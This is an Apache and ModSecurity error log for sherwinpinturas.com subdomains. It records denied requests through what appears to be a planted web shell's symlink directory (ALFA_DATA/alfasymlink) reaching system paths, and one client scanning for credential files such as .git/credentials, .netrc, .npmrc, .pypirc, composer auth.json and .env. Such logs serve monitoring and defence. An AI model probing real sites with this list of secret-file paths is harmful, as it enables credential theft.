[Sun Oct 25 15:45:14.132213 2026] [ssl:error] [pid 2889304:tid 2889304] (70014)End of file found: [client 52.2.191.202:19909] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:45:18.214472 2026] [core:error] [pid 2885094:tid 2885094] (13)Permission denied: [client 23.22.105.143:30887] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/PNP0A06:00/subsystem/devices/device:12/subsystem/drivers/battery/uevent
[Sun Oct 25 15:45:30.155153 2026] [core:error] [pid 2889353:tid 2889353] (13)Permission denied: [client 44.223.193.255:13416] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory5/node0/memory10/subsystem/uevent
[Sun Oct 25 15:45:40.297217 2026] [security2:error] [pid 2889265:tid 2889265] [client 107.172.76.131:64126] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "bases2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at5cWFZS5RNQuzJFU76QQAAAAAc"], referer: https://bases2.sherwinpinturas.com/beta.php
[Sun Oct 25 15:45:40.297284 2026] [security2:error] [pid 2889265:tid 2889265] [client 107.172.76.131:64126] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "bases2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at5cWFZS5RNQuzJFU76QQAAAAAc"], referer: https://bases2.sherwinpinturas.com/beta.php
[Sun Oct 25 15:45:46.153067 2026] [ssl:error] [pid 2889304:tid 2889304] (70014)End of file found: [client 54.84.250.51:12932] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:45:56.037818 2026] [core:error] [pid 2889314:tid 2889314] (13)Permission denied: [client 16.216.88.153:45056] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/etc/blocked_incoming_email_country_ips
[Sun Oct 25 15:45:58.155349 2026] [ssl:error] [pid 2889342:tid 2889342] (70014)End of file found: [client 100.27.153.9:13676] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:46:06.158554 2026] [ssl:error] [pid 2889304:tid 2889304] (70014)End of file found: [client 34.225.24.180:49983] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:46:14.143336 2026] [ssl:error] [pid 2889314:tid 2889314] (70014)End of file found: [client 34.202.88.37:60881] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:46:20.755305 2026] [core:error] [pid 2889344:tid 2889344] (13)Permission denied: [client 185.191.171.10:39564] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/radix_tree_node/partial
[Sun Oct 25 15:46:22.153685 2026] [ssl:error] [pid 2889304:tid 2889304] (70014)End of file found: [client 34.194.14.255:20852] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:46:34.273080 2026] [core:error] [pid 2889344:tid 2889344] (13)Permission denied: [client 18.213.240.226:17254] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:07/subsystem/devices/device:01/PNP0303:00/subsystem/devices/LNXSYBUS:00/PNP0A03:00/physical_node/0000:00:04.0/virtio1/driver/unbind
[Sun Oct 25 15:46:38.133630 2026] [ssl:error] [pid 2889353:tid 2889353] (70014)End of file found: [client 54.85.109.140:15002] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:46:42.145835 2026] [core:error] [pid 2889270:tid 2889270] (13)Permission denied: [client 54.85.109.140:45336] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/bus/cpu/devices/cpu0/node0/memory4/node0/cpu1/subsystem/drivers/processor/bind
[Sun Oct 25 15:46:46.268139 2026] [ssl:error] [pid 2885094:tid 2885094] (70014)End of file found: [client 54.197.114.76:61064] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:46:58.145922 2026] [ssl:error] [pid 2891189:tid 2891189] (70014)End of file found: [client 44.217.177.142:10857] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:47:02.167432 2026] [ssl:error] [pid 2885094:tid 2885094] (70014)End of file found: [client 3.235.215.92:54566] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:47:18.147614 2026] [ssl:error] [pid 2889353:tid 2889353] (70014)End of file found: [client 52.54.157.23:53135] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:47:26.285618 2026] [ssl:error] [pid 2889359:tid 2889359] (70014)End of file found: [client 18.205.213.231:5132] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:47:31.378041 2026] [security2:error] [pid 2889344:tid 2889344] [client 8.228.81.206:61310] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "lentes1.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at5c09KX2UxtP-t1n16s3AAAADs"]
[Sun Oct 25 15:47:31.378362 2026] [security2:error] [pid 2889344:tid 2889344] [client 8.228.81.206:61310] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "lentes1.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at5c09KX2UxtP-t1n16s3AAAADs"]
[Sun Oct 25 15:47:31.378656 2026] [security2:error] [pid 2889344:tid 2889344] [client 8.228.81.206:61310] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 8)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "lentes1.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at5c09KX2UxtP-t1n16s3AAAADs"]
[Sun Oct 25 15:47:31.379108 2026] [security2:error] [pid 2889344:tid 2889344] [client 8.228.81.206:61310] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 8 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "lentes1.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at5c09KX2UxtP-t1n16s3AAAADs"]
[Sun Oct 25 15:47:31.872676 2026] [security2:error] [pid 2891189:tid 2891189] [client 8.228.81.206:61320] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "lentes1.sherwinpinturas.com"] [uri "/.git/credentials"] [unique_id "at5c0z03oOY3EiI_RmqmnAAAAAA"]
[Sun Oct 25 15:47:31.873012 2026] [security2:error] [pid 2891189:tid 2891189] [client 8.228.81.206:61320] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/credentials"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "lentes1.sherwinpinturas.com"] [uri "/.git/credentials"] [unique_id "at5c0z03oOY3EiI_RmqmnAAAAAA"]
[Sun Oct 25 15:47:31.873289 2026] [security2:error] [pid 2891189:tid 2891189] [client 8.228.81.206:61320] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 8)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "lentes1.sherwinpinturas.com"] [uri "/.git/credentials"] [unique_id "at5c0z03oOY3EiI_RmqmnAAAAAA"]
[Sun Oct 25 15:47:31.873611 2026] [security2:error] [pid 2891189:tid 2891189] [client 8.228.81.206:61320] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 8 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "lentes1.sherwinpinturas.com"] [uri "/.git/credentials"] [unique_id "at5c0z03oOY3EiI_RmqmnAAAAAA"]
[Sun Oct 25 15:47:32.446319 2026] [security2:error] [pid 2889353:tid 2889353] [client 8.228.81.206:61330] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "lentes1.sherwinpinturas.com"] [uri "/.git-credentials"] [unique_id "at5c1K8dg0Qe9Rh6wUUbkAAAAEU"]
[Sun Oct 25 15:47:32.536640 2026] [security2:error] [pid 2889357:tid 2889357] [client 8.228.81.206:61342] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "lentes1.sherwinpinturas.com"] [uri "/.gitconfig"] [unique_id "at5c1FMMoJX_Woh2jbKcNQAAAEk"]
[Sun Oct 25 15:47:32.700951 2026] [security2:error] [pid 2885094:tid 2885094] [client 8.228.81.206:61356] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "lentes1.sherwinpinturas.com"] [uri "/.git/configf"] [unique_id "at5c1MQLj3BHFe0xVVDOLwAAAAU"]
[Sun Oct 25 15:47:32.701228 2026] [security2:error] [pid 2885094:tid 2885094] [client 8.228.81.206:61356] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/configf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "lentes1.sherwinpinturas.com"] [uri "/.git/configf"] [unique_id "at5c1MQLj3BHFe0xVVDOLwAAAAU"]
[Sun Oct 25 15:47:32.701449 2026] [security2:error] [pid 2885094:tid 2885094] [client 8.228.81.206:61356] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 8)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "lentes1.sherwinpinturas.com"] [uri "/.git/configf"] [unique_id "at5c1MQLj3BHFe0xVVDOLwAAAAU"]
[Sun Oct 25 15:47:32.701826 2026] [security2:error] [pid 2885094:tid 2885094] [client 8.228.81.206:61356] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 8 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "lentes1.sherwinpinturas.com"] [uri "/.git/configf"] [unique_id "at5c1MQLj3BHFe0xVVDOLwAAAAU"]
[Sun Oct 25 15:47:32.796500 2026] [security2:error] [pid 2889359:tid 2889359] [client 8.228.81.206:61366] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "lentes1.sherwinpinturas.com"] [uri "/.netrc"] [unique_id "at5c1NsSLPpDQdwbdhd4WQAAAEs"]
[Sun Oct 25 15:47:32.902469 2026] [security2:error] [pid 2889342:tid 2889342] [client 8.228.81.206:61376] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "lentes1.sherwinpinturas.com"] [uri "/_netrc"] [unique_id "at5c1PRqe8JFpk4VEd7wHAAAADg"]
[Sun Oct 25 15:47:33.004055 2026] [security2:error] [pid 2889344:tid 2889344] [client 8.228.81.206:61388] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "lentes1.sherwinpinturas.com"] [uri "/.npmrc"] [unique_id "at5c1dKX2UxtP-t1n16s3QAAADs"]
[Sun Oct 25 15:47:33.141130 2026] [security2:error] [pid 2891189:tid 2891189] [client 8.228.81.206:61394] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "lentes1.sherwinpinturas.com"] [uri "/.pypirc"] [unique_id "at5c1T03oOY3EiI_RmqmnQAAAAA"]
[Sun Oct 25 15:47:33.336111 2026] [security2:error] [pid 2889353:tid 2889353] [client 8.228.81.206:61406] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "lentes1.sherwinpinturas.com"] [uri "/.yarnrc"] [unique_id "at5c1a8dg0Qe9Rh6wUUbkQAAAEU"]
[Sun Oct 25 15:47:33.496025 2026] [security2:error] [pid 2889357:tid 2889357] [client 8.228.81.206:61422] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "lentes1.sherwinpinturas.com"] [uri "/.gem/credentials"] [unique_id "at5c1VMMoJX_Woh2jbKcNgAAAEk"]
[Sun Oct 25 15:47:33.654093 2026] [security2:error] [pid 2885094:tid 2885094] [client 8.228.81.206:61424] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "lentes1.sherwinpinturas.com"] [uri "/.config/gh/hosts.yml"] [unique_id "at5c1cQLj3BHFe0xVVDOMAAAAAU"]
[Sun Oct 25 15:47:33.807302 2026] [security2:error] [pid 2889359:tid 2889359] [client 8.228.81.206:61432] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "lentes1.sherwinpinturas.com"] [uri "/.config/gh/config.yml"] [unique_id "at5c1dsSLPpDQdwbdhd4WgAAAEs"]
[Sun Oct 25 15:47:33.966069 2026] [security2:error] [pid 2889342:tid 2889342] [client 8.228.81.206:61444] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "lentes1.sherwinpinturas.com"] [uri "/.config/git/config"] [unique_id "at5c1fRqe8JFpk4VEd7wHQAAADg"]
[Sun Oct 25 15:47:34.149410 2026] [security2:error] [pid 2889344:tid 2889344] [client 8.228.81.206:61454] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "lentes1.sherwinpinturas.com"] [uri "/.composer/auth.json"] [unique_id "at5c1tKX2UxtP-t1n16s3gAAADs"]
[Sun Oct 25 15:47:34.271810 2026] [security2:error] [pid 2889353:tid 2889353] [client 8.228.81.206:61456] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "lentes1.sherwinpinturas.com"] [uri "/composer/auth.json"] [unique_id "at5c1q8dg0Qe9Rh6wUUbkgAAAEU"]
[Sun Oct 25 15:47:34.272846 2026] [security2:error] [pid 2889353:tid 2889353] [client 8.228.81.206:61456] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "lentes1.sherwinpinturas.com"] [uri "/composer/auth.json"] [unique_id "at5c1q8dg0Qe9Rh6wUUbkgAAAEU"]
[Sun Oct 25 15:47:34.272871 2026] [security2:error] [pid 2889353:tid 2889353] [client 8.228.81.206:61456] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "lentes1.sherwinpinturas.com"] [uri "/composer/auth.json"] [unique_id "at5c1q8dg0Qe9Rh6wUUbkgAAAEU"]
[Sun Oct 25 15:47:34.419402 2026] [security2:error] [pid 2889357:tid 2889357] [client 8.228.81.206:61462] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "lentes1.sherwinpinturas.com"] [uri "/.composer"] [unique_id "at5c1lMMoJX_Woh2jbKcNwAAAEk"]
[Sun Oct 25 15:47:34.494776 2026] [security2:error] [pid 2885094:tid 2885094] [client 8.228.81.206:61470] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "lentes1.sherwinpinturas.com"] [uri "/composer/installed.json"] [unique_id "at5c1sQLj3BHFe0xVVDOMQAAAAU"]
[Sun Oct 25 15:47:34.621406 2026] [security2:error] [pid 2889359:tid 2889359] [client 8.228.81.206:61472] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "lentes1.sherwinpinturas.com"] [uri "/.env"] [unique_id "at5c1tsSLPpDQdwbdhd4WwAAAEs"]
